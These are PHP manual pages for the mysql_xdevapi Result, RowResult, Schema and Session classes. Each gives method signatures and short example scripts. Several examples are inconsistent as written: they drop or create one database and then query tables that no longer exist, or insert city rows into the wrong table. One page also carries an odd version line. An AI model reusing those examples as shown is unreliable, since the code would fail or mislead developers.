Result::getWarnings

(No version information available, might only be in Git)

Result::getWarnings — Get warnings from last operation

说明

public mysql_xdevapi\Result::getWarnings(): array

Retrieve warnings from the last Result operation.

参数

此函数没有参数。

返回值

An array of Warning objects from the last operation. Each object defines an error 'message', error 'level', and error 'code'. An empty array is returned if no errors are present.

示例

Example #1 mysql_xdevapi\RowResult::getWarnings() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get warning count from last operation

  • ? Result::getWarnings
  • mysql_xdevapi\RowResult ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Get warning count from last operation

Result::getWarningsCount

(No version information available, might only be in Git)

Result::getWarningsCount — Get warning count from last operation

说明

public mysql_xdevapi\Result::getWarningsCount(): int

Retrieve the number of warnings from the last Result operation.

参数

此函数没有参数。

返回值

The number of warnings generated by the last operation.

示例

Example #1 mysql_xdevapi\RowResult::getWarningsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

以上示例的输出类似于：

2

User Contributed Notes

There are no user contributed notes for this page.


RowResult class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\RowResult implements mysql_xdevapi\BaseResult, Traversable {
/* 方法 */
public fetchAll(): array
public fetchOne(): array
public getColumnsCount(): int
public getColumnNames(): array
public getColumns(): array
public getWarnings(): array
public getWarningsCount(): int
}

Table of Contents

  • RowResult::__construct — RowResult constructor
  • RowResult::fetchAll — Get all rows from result
  • RowResult::fetchOne — Get row from result
  • RowResult::getColumnsCount — Get column count
  • RowResult::getColumnNames — Get all column names
  • RowResult::getColumns — Get column metadata
  • RowResult::getWarnings — Get warnings from last operation
  • RowResult::getWarningsCount — Get warning count from last operation

User Contributed Notes

There are no user contributed notes for this page.


RowResult constructor

  • ? mysql_xdevapi\RowResult
  • RowResult::fetchAll ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • RowResult constructor

RowResult::__construct

(No version information available, might only be in Git)

RowResult::__construct — RowResult constructor

说明

private mysql_xdevapi\RowResult::__construct()

Represents the result set obtained from querying the database.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\RowResult::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age > 18')->execute()->fetchAll();

print_r($row);

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get all rows from result

  • ? RowResult::__construct
  • RowResult::fetchOne ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get all rows from result

RowResult::fetchAll

(No version information available, might only be in Git)

RowResult::fetchAll — Get all rows from result

说明

public mysql_xdevapi\RowResult::fetchAll(): array

Fetch all the rows from the result set.

参数

此函数没有参数。

返回值

A numerical array with all results from the query; each result is an associative array. An empty array is returned if no rows are present.

示例

Example #1 mysql_xdevapi\RowResult::fetchAll() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get row from result

  • ? RowResult::fetchAll
  • RowResult::getColumnsCount ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get row from result

RowResult::fetchOne

(No version information available, might only be in Git)

RowResult::fetchOne — Get row from result

说明

public mysql_xdevapi\RowResult::fetchOne(): array

Fetch one result from the result set.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The result, as an associative array or null if no results are present.

示例

Example #1 mysql_xdevapi\RowResult::fetchOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->where('age < 40')->execute()->fetchOne();

print_r($row);

以上示例的输出类似于：

Array
(
    [name] => Sam
    [age] => 33
)

User Contributed Notes

There are no user contributed notes for this page.


Get column count

  • ? RowResult::fetchOne
  • RowResult::getColumnNames ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get column count

RowResult::getColumnsCount

(No version information available, might only be in Git)

RowResult::getColumnsCount — Get column count

说明

public mysql_xdevapi\RowResult::getColumnsCount(): int

Retrieve the column count for columns present in the result set.

参数

此函数没有参数。

返回值

The number of columns; 0 if there are none.

更新日志

版本 | 说明
8.0.14 | Method renamed from getColumnCount() to getColumnsCount().

示例

Example #1 mysql_xdevapi\RowResult::getColumnsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

echo $sql->getColumnsCount();

以上示例的输出类似于：

2

User Contributed Notes

There are no user contributed notes for this page.


Get all column names

  • ? RowResult::getColumnsCount
  • RowResult::getColumns ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get all column names

RowResult::getColumnNames

(No version information available, might only be in Git)

RowResult::getColumnNames — Get all column names

说明

public mysql_xdevapi\RowResult::getColumnNames(): array

Retrieve column names for columns present in the result set.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A numerical array of table columns names, or an empty array if the result set is empty.

示例

Example #1 mysql_xdevapi\RowResult::getColumnNames() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$colnames = $sql->getColumnNames();

print_r($colnames);

以上示例的输出类似于：

Array
(
    [0] => name
    [1] => age
)

User Contributed Notes

There are no user contributed notes for this page.


Get column metadata

  • ? RowResult::getColumnNames
  • RowResult::getWarnings ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get column metadata

RowResult::getColumns

(No version information available, might only be in Git)

RowResult::getColumns — Get column metadata

说明

public mysql_xdevapi\RowResult::getColumns(): array

Retrieve column metadata for columns present in the result set.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An array of FieldMetadata objects representing the columns in the result, or an empty array if the result set is empty.

示例

Example #1 mysql_xdevapi\RowResult::getColumns() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE addressbook")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$sql = $session->sql("SELECT * from addressbook.names")->execute();

$cols = $sql->getColumns();

print_r($cols);

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 7
            [type_name] => BYTES
            [name] => name
            [original_name] => name
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 255
            [fractional_digits] => 0
            [length] => 65535
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => age
            [original_name] => age
            [table] => names
            [original_table] => names
            [schema] => addressbook
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get warnings from last operation

  • ? RowResult::getColumns
  • RowResult::getWarningsCount ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get warnings from last operation

RowResult::getWarnings

(No version information available, might only be in Git)

RowResult::getWarnings — Get warnings from last operation

说明

public mysql_xdevapi\RowResult::getWarnings(): array

Retrieve warnings from the last RowResult operation.

参数

此函数没有参数。

返回值

An array of Warning objects from the last operation. Each object defines an error 'message', error 'level', and error 'code'. An empty array is returned if no errors are present.

示例

Example #1 mysql_xdevapi\RowResult::getWarnings() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get warning count from last operation

  • ? RowResult::getWarnings
  • mysql_xdevapi\Schema ?
  • PHP Manual
  • mysql_xdevapi\RowResult
  • Get warning count from last operation

RowResult::getWarningsCount

(No version information available, might only be in Git)

RowResult::getWarningsCount — Get warning count from last operation

说明

public mysql_xdevapi\RowResult::getWarningsCount(): int

Retrieve the number of warnings from the last RowResult operation.

参数

此函数没有参数。

返回值

The number of warnings generated by the last operation.

示例

Example #1 mysql_xdevapi\RowResult::getWarningsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

以上示例的输出类似于：

2

User Contributed Notes

There are no user contributed notes for this page.


Schema class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Schema implements mysql_xdevapi\DatabaseObject {
/* 属性 */
public $name;
/* 方法 */
public createCollection(string $name, string $validate = ?): mysql_xdevapi\Collection
public dropCollection(string $collection_name): bool
public existsInDatabase(): bool
public getCollection(string $name): mysql_xdevapi\Collection
public getCollectionAsTable(string $name): mysql_xdevapi\Table
public getCollections(): array
public getName(): string
public getSession(): mysql_xdevapi\Session
public getTable(string $name): mysql_xdevapi\Table
public getTables(): array
}

属性

name

Table of Contents

  • Schema::__construct — constructor
  • Schema::createCollection — Add collection to schema
  • Schema::dropCollection — Drop collection from schema
  • Schema::existsInDatabase — Check if exists in database
  • Schema::getCollection — Get collection from schema
  • Schema::getCollectionAsTable — Get collection table object
  • Schema::getCollections — Get all schema collections
  • Schema::getName — Get schema name
  • Schema::getSession — Get schema session
  • Schema::getTable — Get schema table
  • Schema::getTables — Get schema tables

User Contributed Notes

There are no user contributed notes for this page.


constructor

  • ? mysql_xdevapi\Schema
  • Schema::createCollection ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • constructor

Schema::__construct

(No version information available, might only be in Git)

Schema::__construct — constructor

说明

private mysql_xdevapi\Schema::__construct()

The Schema object provides full access to the schema (database).

参数

此函数没有参数。

示例

Example #1 Schema::__construct example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

以上示例的输出类似于：

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Add collection to schema

  • ? Schema::__construct
  • Schema::dropCollection ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Add collection to schema

Schema::createCollection

(No version information available, might only be in Git)

Schema::createCollection — Add collection to schema

说明

public mysql_xdevapi\Schema::createCollection(string $name, string $validate = ?): mysql_xdevapi\Collection

Create a collection within the schema.

参数

name

Collection name.

validate

Validation definition, as a JSON object.

返回值

The Collection object.

更新日志

版本 | 说明
8.0.20 | Added the optional validate parameter.

示例

Example #1 Schema::createCollection example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

print_r($schema->gettables());
print_r($schema->getcollections());

以上示例的输出类似于：

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [trees] => mysql_xdevapi\Collection Object
        (
            [name] => trees
        )
)

Example #2 Schema::createCollection validate parameter example

<?php
$collection = $schema->createCollection("mycollection", '{
"validation": {
"level": "strict",
"schema": {
"id": "http://json-schema.org/geo",
"description": "A geographical coordinate",
"type": "object",
"properties": {
"latitude": {
"type": "number"
},
"longitude": {
"type": "number"
}
},
"required": ["latitude", "longitude"]
}
}
}');
// Succeeds
$collection->add('{"latitude": 10, "longitude": 20}')->execute();

// Fails, invalid types (not numbers)
$collection->add('{"latitude": "lat", "longitude": "long"}')->execute();

User Contributed Notes

There are no user contributed notes for this page.


Drop collection from schema

  • ? Schema::createCollection
  • Schema::existsInDatabase ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Drop collection from schema

Schema::dropCollection

(No version information available, might only be in Git)

Schema::dropCollection — Drop collection from schema

说明

public mysql_xdevapi\Schema::dropCollection(string $collection_name): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

collection_name

返回值

示例

Example #1 Schema::dropCollection example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");

$schema->createCollection("trees");
$schema->dropCollection("trees");
$schema->createCollection("buildings");

print_r($schema->gettables());
print_r($schema->getcollections());

以上示例的输出类似于：

Array
(
    [fruit] => mysql_xdevapi\Table Object
        (
            [name] => fruit
        )
)
Array
(
    [buildings] => mysql_xdevapi\Collection Object
        (
            [name] => buildings
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Check if exists in database

  • ? Schema::dropCollection
  • Schema::getCollection ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Check if exists in database

Schema::existsInDatabase

(No version information available, might only be in Git)

Schema::existsInDatabase — Check if exists in database

说明

public mysql_xdevapi\Schema::existsInDatabase(): bool

Checks if the current object (schema, table, collection, or view) exists in the schema object.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the schema, table, collection, or view still exists in the schema, else false.

示例

Example #1 Schema::existsInDatabase example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();
$session->sql("CREATE TABLE food.fruit(name text, rating text)")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

// ...

// Is this collection still in the database (schema)?
if ($trees->existsInDatabase()) {
echo "Yes, the 'trees' collection is still present.";
}

以上示例的输出类似于：

Yes, the 'trees' collection is still present.

User Contributed Notes

There are no user contributed notes for this page.


Get collection from schema

  • ? Schema::existsInDatabase
  • Schema::getCollectionAsTable ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get collection from schema

Schema::getCollection

(No version information available, might only be in Git)

Schema::getCollection — Get collection from schema

说明

public mysql_xdevapi\Schema::getCollection(string $name): mysql_xdevapi\Collection

Get a collection from the schema.

参数

name

Collection name to retrieve.

返回值

The Collection object for the selected collection.

示例

Example #1 Schema::getCollection example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS food")->execute();
$session->sql("CREATE DATABASE food")->execute();

$schema = $session->getSchema("food");
$schema->createCollection("trees");

// ...

$trees = $schema->getCollection("trees");

var_dump($trees);

以上示例的输出类似于：

object(mysql_xdevapi\Collection)#3 (1) {
  ["name"]=>
  string(5) "trees"
}

User Contributed Notes

There are no user contributed notes for this page.


Get collection table object

  • ? Schema::getCollection
  • Schema::getCollections ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get collection table object

Schema::getCollectionAsTable

(No version information available, might only be in Git)

Schema::getCollectionAsTable — Get collection table object

说明

public mysql_xdevapi\Schema::getCollectionAsTable(string $name): mysql_xdevapi\Table

Get a collection, but as a Table object instead of a Collection object.

参数

name

Name of the collection to instantiate a Table object from.

返回值

A table object for the collection.

示例

Example #1 Schema::getCollectionAsTable example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$table = $schema->getCollectionAsTable("people");
$collection = $schema->getCollection("people");

var_dump($table);
var_dump($collection);

以上示例的输出类似于：

object(mysql_xdevapi\Table)#4 (1) {
  ["name"]=>
  string(6) "people"
}

object(mysql_xdevapi\Collection)#5 (1) {
  ["name"]=>
  string(6) "people"
}

User Contributed Notes

There are no user contributed notes for this page.


Get all schema collections

  • ? Schema::getCollectionAsTable
  • Schema::getName ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get all schema collections

Schema::getCollections

(No version information available, might only be in Git)

Schema::getCollections — Get all schema collections

说明

public mysql_xdevapi\Schema::getCollections(): array

Fetch a list of collections for this schema.

参数

此函数没有参数。

返回值

Array of all collections in this schema, where each array element value is a Collection object with the collection name as the key.

示例

Example #1 mysql_xdevapi\Schema::getCollections() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$collections = $schema->getCollections();
var_dump($collections);
?>

以上示例的输出类似于：

array(1) {
  ["people"]=>
  object(mysql_xdevapi\Collection)#4 (1) {
    ["name"]=>
    string(6) "people"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Get schema name

  • ? Schema::getCollections
  • Schema::getSession ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get schema name

Schema::getName

(No version information available, might only be in Git)

Schema::getName — Get schema name

说明

public mysql_xdevapi\Schema::getName(): string

Get the name of the schema.

参数

此函数没有参数。

返回值

The name of the schema connected to the schema object, as a string.

示例

Example #1 mysql_xdevapi\Schema::getName() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");

// ...

var_dump($schema->getName());
?>

以上示例的输出类似于：

string(11) "addressbook"

User Contributed Notes

There are no user contributed notes for this page.


Get schema session

  • ? Schema::getName
  • Schema::getTable ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get schema session

Schema::getSession

(No version information available, might only be in Git)

Schema::getSession — Get schema session

说明

public mysql_xdevapi\Schema::getSession(): mysql_xdevapi\Session

Get a new Session object from the Schema object.

参数

此函数没有参数。

返回值

A Session object.

示例

Example #1 mysql_xdevapi\Schema::getSession() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");

// ...

$newsession = $schema->getSession();

var_dump($session);
var_dump($newsession);
?>

以上示例的输出类似于：

object(mysql_xdevapi\Session)#1 (0) {
}

object(mysql_xdevapi\Session)#3 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Get schema table

  • ? Schema::getSession
  • Schema::getTables ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get schema table

Schema::getTable

(No version information available, might only be in Git)

Schema::getTable — Get schema table

说明

public mysql_xdevapi\Schema::getTable(string $name): mysql_xdevapi\Table

Fetch a Table object for the provided table in the schema.

参数

name

Name of the table.

返回值

A Table object.

示例

Example #1 mysql_xdevapi\Schema::getTable() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get schema tables

  • ? Schema::getTable
  • mysql_xdevapi\SchemaObject ?
  • PHP Manual
  • mysql_xdevapi\Schema
  • Get schema tables

Schema::getTables

(No version information available, might only be in Git)

Schema::getTables — Get schema tables

说明

public mysql_xdevapi\Schema::getTables(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Array of all tables in this schema, where each array element value is a Table object with the table name as the key.

示例

Example #1 mysql_xdevapi\Schema::getTables() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$session->sql("CREATE TABLE addressbook.cities(name text, population int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Portland', 639863), ('Seattle', 704352)")->execute();

$schema = $session->getSchema("addressbook");
$tables = $schema->getTables();

var_dump($tables);
?>

以上示例的输出类似于：

array(2) {
  ["cities"]=>
  object(mysql_xdevapi\Table)#3 (1) {
    ["name"]=>
    string(6) "cities"
  }

  ["names"]=>
  object(mysql_xdevapi\Table)#4 (1) {
    ["name"]=>
    string(5) "names"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


SchemaObject interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\SchemaObject implements mysql_xdevapi\DatabaseObject {
/* 方法 */
abstract getSchema(): mysql_xdevapi\Schema
}

Table of Contents

  • SchemaObject::getSchema — Get schema object

User Contributed Notes

There are no user contributed notes for this page.


Get schema object

  • ? mysql_xdevapi\SchemaObject
  • mysql_xdevapi\Session ?
  • PHP Manual
  • mysql_xdevapi\SchemaObject
  • Get schema object

SchemaObject::getSchema

(No version information available, might only be in Git)

SchemaObject::getSchema — Get schema object

说明

abstract mysql_xdevapi\SchemaObject::getSchema(): mysql_xdevapi\Schema

Used by other objects to retrieve a schema object.

参数

此函数没有参数。

返回值

The current Schema object.

示例

Example #1 mysql_xdevapi\Session::getSchema() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema = $session->getSchema("addressbook");

print_r($schema);

以上示例的输出类似于：

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

There are no user contributed notes for this page.


Session class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Session {
/* 方法 */
public close(): bool
public commit(): Object
public createSchema(string $schema_name): mysql_xdevapi\Schema
public dropSchema(string $schema_name): bool
public generateUUID(): string
public getDefaultSchema(): string
public getSchema(string $schema_name): mysql_xdevapi\Schema
public getSchemas(): array
public getServerVersion(): int
public listClients(): array
public quoteName(string $name): string
public releaseSavepoint(string $name): void
public rollback(): void
public rollbackTo(string $name): void
public setSavepoint(string $name = ?): string
public sql(string $query): mysql_xdevapi\SqlStatement
public startTransaction(): void
}

Table of Contents

  • Session::close — Close session
  • Session::commit — Commit transaction
  • Session::__construct — Description constructor
  • Session::createSchema — Create new schema
  • Session::dropSchema — Drop a schema
  • Session::generateUUID — Get new UUID
  • Session::getDefaultSchema — Get default schema name
  • Session::getSchema — Get a new schema object
  • Session::getSchemas — Get the schemas
  • Session::getServerVersion — Get server version
  • Session::listClients — Get client list
  • Session::quoteName — Add quotes
  • Session::releaseSavepoint — Release set savepoint
  • Session::rollback — Rollback transaction
  • Session::rollbackTo — Rollback transaction to savepoint
  • Session::setSavepoint — Create savepoint
  • Session::sql — Execute SQL query
  • Session::startTransaction — Start transaction

User Contributed Notes

There are no user contributed notes for this page.


Close session

  • ? mysql_xdevapi\Session
  • Session::commit ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Close session

Session::close

(No version information available, might only be in Git)

Session::close — Close session

说明

public mysql_xdevapi\Session::close(): bool

Close the session with the server.

参数

此函数没有参数。

返回值

true if the session closed.

示例

Example #1 mysql_xdevapi\Session::close() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->close();

User Contributed Notes

There are no user contributed notes for this page.


Commit transaction

  • ? Session::close
  • Session::__construct ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Commit transaction

Session::commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

Session::commit — Commit transaction

说明

public mysql_xdevapi\Session::commit(): Object

Commit the transaction.

参数

此函数没有参数。

返回值

An SqlStatementResult object.

示例

Example #1 mysql_xdevapi\Session::commit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();

$collection->add('{"John":42, "Sam":33}')->execute();
$savepoint = $session->setSavepoint();

$session->commit();
$session->close();

User Contributed Notes

There are no user contributed notes for this page.


Description constructor

  • ? Session::commit
  • Session::createSchema ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Description constructor

Session::__construct

(No version information available, might only be in Git)

Session::__construct — Description constructor

说明

private mysql_xdevapi\Session::__construct()

A Session object, as initiated by getSession().

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Session::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Create new schema

  • ? Session::__construct
  • Session::dropSchema ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Create new schema

Session::createSchema

(No version information available, might only be in Git)

Session::createSchema — Create new schema

说明

public mysql_xdevapi\Session::createSchema(string $schema_name): mysql_xdevapi\Schema

Creates a new schema.

参数

schema_name

Name of the schema to create.

返回值

A Schema object on success, and emits an exception on failure.

示例

Example #1 mysql_xdevapi\Session::createSchema() example

<?php
$uri = 'mysqlx://happyuser:password@127.0.0.1:33060/';
$sess = mysql_xdevapi\getSession($uri);

try {

if ($schema = $sess->createSchema('fruit')) {
echo "Info: I created a schema named 'fruit'\n";
}

} catch (Exception $e) {

echo $e->getMessage();

}
?>

以上示例的输出类似于：

Info: I created a schema named 'fruit'

User Contributed Notes

There are no user contributed notes for this page.


Drop a schema

  • ? Session::createSchema
  • Session::generateUUID ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Drop a schema

Session::dropSchema

(No version information available, might only be in Git)

Session::dropSchema — Drop a schema

说明

public mysql_xdevapi\Session::dropSchema(string $schema_name): bool

Drop a schema (database).

参数

schema_name

Name of the schema to drop.

返回值

true if the schema is dropped, or false if it does not exist or can't be dropped.

An E_WARNING level error is generated if the schema does not exist.

示例

